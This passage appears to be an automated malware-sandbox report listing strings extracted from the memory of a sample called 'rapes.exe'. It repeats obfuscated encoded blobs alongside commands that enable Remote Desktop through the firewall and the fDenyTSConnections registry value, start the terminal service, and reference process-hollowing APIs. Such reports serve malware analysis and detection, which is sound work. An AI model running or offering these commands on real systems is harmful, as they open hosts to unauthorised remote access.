RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000000.2203003946.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000000.2203003946.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000005.00000002.2205969340.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000005.00000002.2205969340.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe	String found in binary or memory: net start termservice
Source: rapes.exe, 00000006.00000000.2206386899.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000006.00000000.2206386899.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 00000006.00000002.2210276200.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 00000006.00000002.2210276200.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 0000000C.00000002.2984401108.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 0000000C.00000002.2984401108.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS bcwnvQg3fbDu=aSNoccMoQxGpZDvpRSNQUcwWeVXgU0jwfJLrX16deu==UxBl0TAdfSPcdDD QLRrVRHcY07hdEbeepK=QNRfdcv=SSxpdwMug0r0IBve0j==RLFvWq==Uwxk0wvcY0TedUHmfKa=Rw1 ew0uMDbgYd==QLRxMpQmWw0W2UvOZTLYepbYjV==QcdQ0wMi3U3fZUG=Tc1oew0qUS1mbw0vQS1jcSIrVSdkSwMi3U3fZUG=MtwoNpHXRhaZON==ccA=dSA=QS1kewMqhAZPeUziQlrri1yRdVsl6kGwZc1ocISg2VPcOvzfd6Ls4LGphRRxEPQuLISjMIRpDGhtcSWW3U3VLRPme6rth7mRdU0yHfrnbTBjMMIdhEC2ID3edZK7NrS9gEvmHvrnaMpbccwp3RYdI7SARS0qhETpdzZRg0rjTnC9fFsw4TDidwdlc90r21PgdzZwfKzj311EFeRODGgjMIRpPQY=LISDD7==PTF d RtLchm0m==QS1kewMqhAZPeUziQlrfhMCjdUEl7Dbwb91UMN5ZhwZhb0HqN0LwgLWl100oSTG=URdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8QZ7qeKLY42KF1USpQBDwbNtRewMuXkDoZN==QS1jdxMW3VHJYTZiYMB 0wMi30fkajrpdZVthMGpf1I57k45eNgmNJzvRBSXNwe2NYY=LNNkbMEr3ESoURdJWuMJ1CLWckHidqHBg76Rfk0wNZL1XuFlcdIuf0v8VT3mfJLi0rmb2U0gJXZPVvBFUvoSWSPATYu=URdJWuMJ1CLqbkPvd5nR42RnPBwgNZLzdcd 0NE9UkDuaTLBc0DugLGW0DQtSDLwVcda0M0FVy==XtsmNtr=RwNcZNMohDLgdEPmdp4xQqiJ2VEz5EL1aM1kRwNcZNMohDLgdEPmdp4xQqmJ2VEz5EL1aM1kUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTE7UbI9U1TtcjTrfIPjhsOge0V=UxBl0xMfhC3cbTS=M snPG==M soN7==M snO7==M soOG==QTNodcMqhCHWaTvhXq==O gWcdNk0wooQxGpZUfiLSk7IdJ8dSkneUvnIz7jKFZngXB I9scK9sWeUZgb0TXKGueOnZ82EMwBx==J9Q7SN9lhAG=I9scK9su3U2bIsQcJq==Uw1T0NAveETnbz3igJK=LMNU0MEXhEjqbkzsdJbhjXCp2USz7DLAaM6k0MHcPSXkbDSdKj==I7==cS RewIrh02bLUKdN0GeRF==cTIZdm==ccxk0w0pSSNVZc0dgkObTDD2d6LY2KCp2UozRTG=MtsmNtrWQRi=MtsmNtrWQhG=MtsmNtrWQhK=MtsmNtrWQ0W=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config termservice
Source: rapes.exe, 0000000C.00000000.2638652440.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: net start termservice
Source: rapes.exe, 0000000C.00000000.2638652440.0000000000EB1000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit seta131b127e996a898cd19ffb2d92e481b006700e5a2ab05704bbb0c589b88924d0921553d1dc176b36780331821e85866812981MJ5SM vtQw2sMQSrPj==LQXfPMklgFTVLZjr1JL2QsCffy==NIWoNG==UoSbcxLpJITieG==LINieG==YcAROJQf3kWVYN==ccxm0NDq3VfgUQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMyMZVkZG==UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3WNEhggzOaDTpdFrEg7yb2VADUTJ8ddIXgy==UcNjYSTaJs0zMDHIRBjPKFZxQ8F8UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764XlMycdNk0wooQxGbUxBl0TAdfVK=UQ1wWv5xYiT8TTjgepZxg70R0D5t5jHwdTF3RTMugkTpdCXieqDng764UV9A5DZzZNB3VS9hfEubRj7p1JLwhB==JLNJSLAMYi7BSRvCLT==Xuxmdq==Uu1JWq==RQNKaMIWddEWcSIWbTEWYccWYNAWcwEWdMWWZwSWYNQWbxQWbS5Wc S=YTBb0sWgfEv3YZvmeFVigLyZYTBb0sWgfEu=YSpfdsWgfEu=Ztw=ZJw=ZJA=ZJE=TMxfc7==axJQdtfrPu==axJQdxD2Pw6=ZN bZwpiYSTacxEnbNFfecdmLTxRbMMWPwE+PwI+LRtieM5lflKqKokhIm==fq==JdNkbNH5PG==cS 